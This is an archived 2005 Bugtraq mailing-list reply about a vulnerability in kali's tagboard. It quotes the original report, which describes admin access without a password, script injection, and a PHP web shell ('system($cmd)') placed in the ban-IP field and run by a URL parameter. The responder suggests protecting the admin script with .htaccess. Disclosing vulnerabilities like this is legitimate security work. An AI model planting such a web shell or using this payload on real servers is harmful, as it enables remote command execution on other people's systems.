bugtraq - Re: Vulnerability kali's tagboard

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Thu, 21 Apr 2005 15:41:33 -0400
From: Jason Dodson <jasond@...fleet.com>
To: piker piker <piker_666@...mail.com>, bugtraq@...urityfocus.com
Subject: Re: Vulnerability kali's tagboard


I think the idea is that the admin script be behind .htaccess 
restrictions, NOT maintained by the software itself.

Jason

piker piker wrote:
> 
> There are some bugs in the kali's tagboard, you can access to the admin system without password!, you can put iframes, scripts...
> But the most vulnerabilitie is in the ban ip's, you can put this script: 
> " <? system($cmd) ?> " and execute commands in the server with this url:
> Example: http://web.com/tag/admin/banned.php?&cmd=command.
> 
> 
> Am0s Team
> 
>